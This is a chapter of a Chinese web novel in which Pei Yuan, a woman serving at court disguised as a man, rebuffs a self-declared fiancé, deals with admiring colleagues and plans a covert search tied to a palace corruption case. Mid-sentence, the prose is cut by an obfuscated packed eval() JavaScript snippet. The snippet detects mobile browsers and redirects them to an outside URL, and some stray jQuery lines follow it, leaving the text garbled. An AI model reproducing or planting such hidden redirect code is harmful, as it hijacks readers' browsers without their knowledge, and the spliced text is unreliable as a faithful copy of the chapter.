31. 第 31 章

作品:《失忆后成了万人迷怎么办

    秋风卷落叶,飒飒带沙尘。


    想到昨晚观澜院见到的黑衣人,防备齐王派了人跟着她,裴鸢最终去了一家路边的茶肆,四面开阔,可以清晰看见近处的人。


    茶肆人少,裴鸢坐在中间,观周边所见没有可疑之人。


    秦潼当先说话,“方才我在齐王殿下面前请求,让你搬出齐王府,为何你不答应?”


    裴鸢冷眼:“你倒好意思质问我,我是齐王殿下重用的僚属,住在齐王府本是荣幸,多少人求都求不来,你凭什么在齐王殿下面前说让我搬出去?”


    “呵。”秦潼冷笑一声,“就凭我是你……”眼看裴鸢神情冷冽,他转了话,“是你的亲人。我看不得你住在旁的男人家中。”


    “什么旁的男人,那是齐王殿下,是你我的上官。”


    “就算是天王老子,那也是旁的男人。”秦潼道。


    他的神情凶悍,裴鸢顿觉情况不妙。


    见裴鸢敛了气愤,秦潼顿时也偃旗息鼓,放低了语气道,“于公,我可为齐王殿下的军令出生入死,但于私,我也会为了你和任何人拼命。”


    裴鸢愣怔。


    秦潼见了她空洞清澈的神情,眼睫猛然闪了两下,之后更加坚定。


    “你我不是冤家么,我先前不愿嫁你,现在我失忆了,更不会嫁你。”裴鸢只能明说。


    秦潼面不改色,“我说过由不得你。”


    裴鸢再次冷了脸,“所以你在我的同僚面前胡说八道。”


    “我说的都是事实。”秦潼道。


    裴鸢看着他,定定道:“秦潼,我从前一定跟你说过我不喜欢你,不想嫁你。”


    听见这话,秦潼扯出个怪异的笑。


    年少时的情形重现,那时裴鸢十五岁,到了议亲的年纪,他家中找了人去提亲,当日裴鸢找他去马场,伙同两个好友,打了一场马球,他输了,按裴鸢定下的规矩,要扎马步半个时辰。


    他在地上扎着马步,两个好友忽然打马过来,以戏谑的口吻问他,“听说你家向裴府提亲去了?不会是向裴鸢提亲吧?”


    当时裴鸢坐在马上,也跟着问,“不会吧秦二,你想娶我?”那时她的神情惊讶戏谑,就像是听了什么笑话,和他们一起笑起来。


    “裴鸢家世一般,脾气也不好,看她成日跟咱们混,也不会料理家宅,谁会想娶她啊。”


    素日他们跟裴鸢很要好,可他当时少年心性,压根儿没觉得异常,只是觉因这事被小看,面子上过不去。


    裴鸢又憋着笑问,“天呐,你不会喜欢我吧?”


    “谁喜欢你了!”他立刻反驳。


    “我看你就是喜欢她吧,哈哈,秦潼居然喜欢裴鸢!”


    他们一副听了笑话的模样,血性一下被激起,他站直了大声说,“我说了,我不喜欢她。”


    “那你家还去提亲。”


    “是我爹的意思。”


    “骗人,你就是喜欢她,恐怕日思夜想了吧。”


    好友都嬉笑,裴鸢也一副不会吧的惊讶姿态,毫无女儿家的羞涩和喜悦。


    “我不想娶她!”


    “谁信呐。”


    “除非你跟你爹说去。”


    就这样,他被激着去同父亲说了不娶裴鸢,娶谁都行除了她。


    可父亲答应之后,他觉心中空落落的,想去找裴鸢,却碰见她和那几个好友,说感谢今日帮忙。


    他才知是裴鸢故意激她的,她干得出这种事。


    等好友散去,他去质问,裴鸢笑着对他说,“其实我可喜欢你了,非你不嫁。”


    他当时心花怒放,但裴鸢立刻又说,“高兴了?”带着奸计得逞的笑,她压根没把他放在眼里,只是逗他玩。


    他可恨自己被她三言两语搅弄得喜怒无常,愤而道,“才没有!”


    “可我是真喜欢你。你再去同你爹说要娶我。”她说着这样的话,却是忍俊不禁的情态。


    这样庄重的话,被她以耍弄的姿态说来说去,他被彻底激怒,覆了满桌杯盘,茶酒溅了她满身,她惊诧过后仍笑意满满。


    他心如火烧,脱口出,“从今以后我没你这个朋友!”


    她也站起身,“好,今日你我割袍断义。”她不知哪里掏出匕首来,切了衣袖丢在地上扬长而去。


    那之后没过几个月,裴鸢的一系列作为让他醒悟了过来,那日的话语神情都是她精心设计的,就为了彻底推掉和他的婚事。


    四年余过去了,他早已不是当初一点就着的毛头小子。


    秦潼看了她一会儿,眼眸渐深,“如果你的记忆能恢复。你会记起你跟我说过,你喜欢我,非我不嫁。”


    裴鸢不可置信。


    “若你不能恢复记忆。你也只能嫁我。”秦潼盯着她,胜券在握,“我就是来接你回家成婚的。”


    裴鸢神情清澈,“那你呢?”


    “什么?”


    “你可喜欢我?”


    她如此问话,神情清澈,全无当年的戏谑和轻视,多少带了些忐忑和郑重。


    “喜欢。”他看着她。


    “有多喜欢?”她也看着他。


    秦潼心跳如擂,九死一生的大仗也没让他如此紧张过,但紧张过后,他平静了下来,“若有人欺负你,我愿舍命护你。”


    秦潼嗓音微哑,虽然因为肤色黑看不出脸红,但他的耳朵红了,裴鸢的手在桌下紧攥着,维持平常,“只是这样?”


    “这,还不够么?”


    “愿意舍命护我的人不少呢。”她道。


    秦潼立刻目露凶光,“方才那姓陈的和姓卢的吧,在大理寺我就觉他们不对,方才听见你有婚约,那姓陈的脸都白了,姓卢的也不对劲,你跟他们到底有什么牵扯?”


    “他们都不知道我是女儿身,只是好友。”裴鸢顿了顿,压着心中狂涌的羞耻感,摆出苦恼的神情,“只是好友尚且如此,要是他们知道我是女子,还不知如何呢。”


    秦潼捏着茶杯的手几乎发白。


    但他确实不是暴躁的毛头小子了,盯着裴鸢不说话。


    “这样你还要娶我吗?”裴鸢问。


    “怎么不,若真如你所说他们都愿为你舍命,那娶了你,他们不得嫉妒死。”他已经有些口不择言,顺了顺气又说,“但无论如何,我才是对你最好的,他们都心思不纯,心怀不轨,你我才是父母之命,你爹也很满意我。”


    裴鸢似是接受了现实,“我相信你。但你先前说我们是冤家路窄,你虽然喜欢我,但根本对我不好。”


    “那是你先对我不好。”


    “我对你不好,你就要报复回来,这也叫喜欢我?”


    “我都是任你打不还手,我也说不过你,你打马球想赢想输我都配合你,我先前是习惯了和你吵闹,但往后不会了。”


    裴鸢沉吟片刻,“可是我都忘了。”看神情颇是无奈。


    秦潼耳根子绯红,裴鸢若恢复记忆不知如何嘲讽他,但开弓没有回头箭。


    他道:“那我们正好重新开始。”


    裴鸢:“那我想留在朝堂,你会配合我么?”


    裴鸢专注地望着他,神情忐忑,眸若秋水泛波。


    仿佛真要接受他们的婚约,接受他们曾经很要好的事实,只是还有一丝不确定,在等着他的肯定答复。


    秦潼毫无迟疑点头,“可以,不过只能到你官期届满时。”


    有了这话,至少在她此任上,他不会再捣乱。


    裴鸢还没彻底放松,“我女扮男装,在朝中处处谨慎,一路颇是不易,走到如今,多亏了齐王殿下提携,齐王殿下看重的是我的才干,但还是不少人传我与齐王殿下的流言,其实我也难以忍受了。”她眉头微皱,觑着秦潼脸色。


    秦潼没有异常,她继续说,“但是齐王殿下将东宫的案子交给了我,就如同你无法临阵脱逃一样,我也不可能撂下案子不管。今日经历了两派对峙,我心知朝堂凶险,也不想再走下去,待我了结了这个案子,想必官期也满了,到时我再想办法离开朝堂。”


    今日所见齐王殿下对裴鸢的态度,还不如对他和宋临四人热络,秦潼不疑有他,立刻喜上眉梢,“那正好,如今我调回来了,如果你想留在长安,我们就不必回陇右了。”


    原来她是陇右人士。


    裴鸢趁机问,“我娘和兄长可还安好?”


    秦潼顿了顿回,“自从你离家,你爹常埋怨你娘没把你管教好,你兄长居中劝和许久,我离开时他们还算和睦。”


    他点到即止,裴鸢已知她是自己离家入朝,并非被逼无奈,家中还有退路,心中有些愧疚,但已经决心走了下去,与家中少些牵连是最好,多想无用,也就不再多问。


    末了裴鸢起身,“我还有事,先回户部了。”


    秦潼也起身想送她。


    裴鸢:“我们最好是少待在一起,毕竟没有哪家表兄弟如此亲密的,你说呢?”


    秦潼站住了脚,“那你先走吧。”


    裴鸢离开茶肆,转过街角,忽然靠着墙壁呼出一大口气。


    双手后知后觉发抖,她握拳捶墙,再苟上一段时日,待查清东宫案子立了功,在卢少卿引荐下面见了神皇陛下,就有机会争取以女子身份光明正大为臣,到时候只要神皇陛下允准,谁也无法再阻拦她。


    回了户部,还未走到藏卷房,卫云岫就拦住了她。


    裴鸢面色肃然,也挡不住他的诘问。


    “你那个小青梅到底怎么回事?”


    裴鸢:“我不记得了,我那表兄信口胡说的。”


    卫云岫不依不饶,“你不记得了。会不会你真有个未婚妻?”


    “绝不可能。”裴鸢笃定道。


    “你发誓。”


    裴鸢不情愿。


    卫云岫脸色变了,“你发誓你没有和旁的女郎有私情。”


    裴鸢只好配合,“我发誓我没有和任何女子有私情。”


    卫云岫似是满意了。


    裴鸢道:“其实我无心娶妻成家。我不想耽误七娘……”


    卫云岫冷笑,“你不想娶妻?同为男人,你觉得我会信?你现在心气是高了,裴主事。”


    裴鸢头疼,“我失忆了,老卫,容我些时日吧。”


    “七娘可日日念叨着你,家中给她相看了多少青年才俊她都拒绝了,偏就看上你这小子,你要是敢伤她的心,我!”他举起了拳头。


    裴鸢心堵,不信自己会做出欺骗女郎感情之事,对他说,“改日我与她单独见见,说上几句话。”


    “明日你我休沐。就明日。兴许你见了她,说上几句就旧情复燃了。”


    “明日恐怕没空。”


    “休沐怎会没空?”


    “查案呐,眼下对我来说,查案才是头等大事,性命攸关。”


    卫云岫拍手,“也是,你也得加官进爵才能娶七娘……”


    卫云岫兀自说着,裴鸢绕开他就走。


    进了藏卷房,见陈照卿正在将卷宗放入箱笼中,见她来了,手上的动作停了,蹲在箱笼边望着她。


    尘雾飞舞,霉气缭绕,裴鸢莫名地烦躁。


    这一个个的,她究竟作了什么孽。


    她忍着逃开的冲动,走近了,拖出一只箱笼一言不发开始装,心中不快,动作粗,响动很大。


    摆明了连礼节也不想讲,拒人千里之外,更别说谈话了。


    陈照卿抿了抿唇,继续装卷宗。


    装着装着忽然笑了一下。


    裴鸢心浮气躁,被他这一笑弄得泄了气,冷着脸问,“你笑什么?”


    陈照卿看着她,她方才在酒楼洗过手脸,没了方才的狼狈,只是官服还皱着,看起来不甚体面。


    他却笑意盈目,温柔缱绻。


    “看什么看!”裴鸢恨不得打上他一顿,让他看清她不是什么可亲可爱的人,她狠心又卑劣。


    陈照卿移开了目光,却仍旧带着笑。


    也不管裴鸢听不听,低声说气话来,“我想起了与你初相识时。”


    裴鸢想听,没打断他,放


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290938|194928||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    轻了动作。


    “我虽出身士族,但并无远大志向,家中曾安排我进太常寺,但我不喜欢,遂自去考科举。实际上我仍不知入仕的意义,直到那天,也是在这藏卷房里。”


    他回忆往昔,目光潋滟,“大理寺因一桩田亩纠纷案来借调档案,你我奉齐王殿下的命在此阅览卷宗,小吏来了,我不想理会,你却放下手上的卷宗去过问此事,听说是人命案子,你自告奋勇帮着找,不仅找到了,还告诉他们按例如何判定。小吏走后,你心情十足的好。你总是笑意盈盈的,但那天你笑得格外舒畅。


    “有人夸你心怀黎民,愿意为了职责之外的事耗费心力。你只笑着说,非是如此。‘我区区九品小官,只需略动脑子,花上片刻,就能解决一桩命案,还能有比这更畅快的事么?’旁人都笑你托大,我却如梦初醒。做官也可不背负黎民苍生,可只为自己舒畅。也就是从那时起,我无可抑制地想靠近你。”


    裴鸢脸色不明,“就这样?”


    陈照卿望着她,为她的不明而疑惑。


    陈照卿道:“你总是快活的,或许体会不到,且你天赋异禀,更不知旁人如何艰难,遇见你之前,我自认算博学的,但你才是天才,我后来试过,就查找卷宗一事,我需要耗时一个时辰,但你只需半刻,在寻常人看来繁琐枯燥费力的事,于你却是轻而易举,我怎能不为你折服。”


    听得他的后半句,裴鸢代入自身,立刻想到了让她拼了命也做不到的事,却有人三言两语就迎刃而解。


    她忽然问,“那你怎么不爱慕齐王殿下呢?”


    陈照卿惊诧至极。


    裴鸢拍额,“这话当我没说。”


    陈照卿点头。


    裴鸢不想再听他说话,快速将卷宗收拾好。


    她准备出门,陈照卿就要看不见她了,神情又是一副死气沉沉,“我大概病入膏肓,你不必理会我。就算是死我不会做出任何逾矩的事。”


    “你当真有心仪的女子吗?”他又问。


    裴鸢不置可否。


    “你心仪的那位女郎,一定是世上最幸福的人。”


    裴鸢叹息无言。


    出门就打发陈照卿和卫云岫去押送卷宗,她则去了大理寺。


    大理寺刚没了两名差役,又发生了血案,里头静得很。


    往日很熟络的人见了她,都疏远了许多,张主簿见了她也难以维持寻常。


    裴鸢却仍旧对他谦逊随意,“今日搅扰了大理寺安宁,我实在过意不去,还望老师莫要往心里去。”


    张主簿不复往日的亲近,“裴主事哪里的话,这桩案子本就是大理寺分内之事,今日多亏了裴主事及时赶到,我们这大理寺才没被付之一炬,小老也不敢再以裴主事老师自居,还望裴主事莫再折煞老儿了。”


    裴鸢笑意不改,甚至更可亲了些,“那便烦请张主簿去将卢少卿请来正堂。”


    张主簿顿了顿,拱手领命而去。


    裴鸢进了正堂里,卢践很快赶来。


    虽然在吓秦潼时,裴鸢将卢践也挪来用了,但她心知卢践是志同道合者,对她只有赏识,并无那些奇奇怪怪的情愫。


    面对他也无需客套,裴鸢径直讲起案情。


    “今日殿下只捉拿了太傅李明德,实际上那司空李禹也不干净,今日我查了项王封地岁平县邻县的税赋,可以肯定李真有大量财物去向不明,按他的反应来看,应该就是投入了少詹事李涛府上。”


    “李涛府上账册和李真府上账册,都往长安近郊一庄园投入不少,我想去查抄一番。”


    卢践却说:“先前我带人去查过,就是普通庄园,并无异常。”


    “可是带着差役去查的?”


    “是,但我去得快,事先并未走漏风声。”


    “我想去暗查一番。”


    卢践思索了片刻,“刑部已经捉拿了李明德,或许很快就能审明一切,你做得已经够多了。”


    裴鸢笑道:“如今我手头上的证据,确实能扫除大批东宫属臣,但我想再往上看一看。”


    卢践没有再劝阻,那庄园他去过,带的心腹差役,事先并未走漏风声,那处确实是农庄,并无特别之处。


    “我同你去吧。”卢践道。


    “此事越少人知道越好,我打算独自乔装去。”


    卢践看了她片刻,“嗯,小心着些。”


    说完这些,卢践就起身,“我还有事,你自便。”


    看着卢践的背影走得快速干脆,裴鸢终于松活下来,还是与卢少卿在一起轻松,没有那些乱七八糟的心思。


    裴鸢好容易得了闲,在大理寺正堂静静坐了会儿。


    天色渐渐暗了,她走到正堂门口,站了会儿等下值。


    看着阒寂的正堂内院,耳边忽然响起一道清冷淡漠的嗓音。


    “若不奖惩分明,他人怎信你端正无愧。”


    “妄图刺杀持齐王金牌者。”


    “就地处决。”


    裴鸢无端颤了一下。


    听得“好了,进来。”她忽地转回身去,正堂昏暗,空荡无人。


    她向阶下慢走两步,忽而又站住了。


    准备捱到下值再走,却见外头有人行来,是齐王近侍。


    大理寺今日出事,秩序不如往常,天色暝蒙也没人点灯。


    裴鸢在一派昏茫中走过庭院,穿过两道门廊,见到了齐王车驾,下值的官员遥遥行礼避让,她下阶梯,到了车驾前,拱手行礼。


    寂静中,裴鸢几乎以为里头没人。


    她登上马车,掀开车帘,里头灯光闪了一下。


    齐王殿下居中而坐,淡漠的面容因烛光晃动而漾起暖色,他勾了下唇。


    裴鸢进去,在门口远远站着行礼,随即坐在了离他很远的地方。


    他脸上的笑瞬间散了。


    淡漠重新覆盖他的眼瞳,并不多么冷冽,只是拒人千里的疏远。


    裴鸢忽然想到,为什么陈照卿不会爱慕齐王殿下了,因为他从未见过齐王殿下的笑。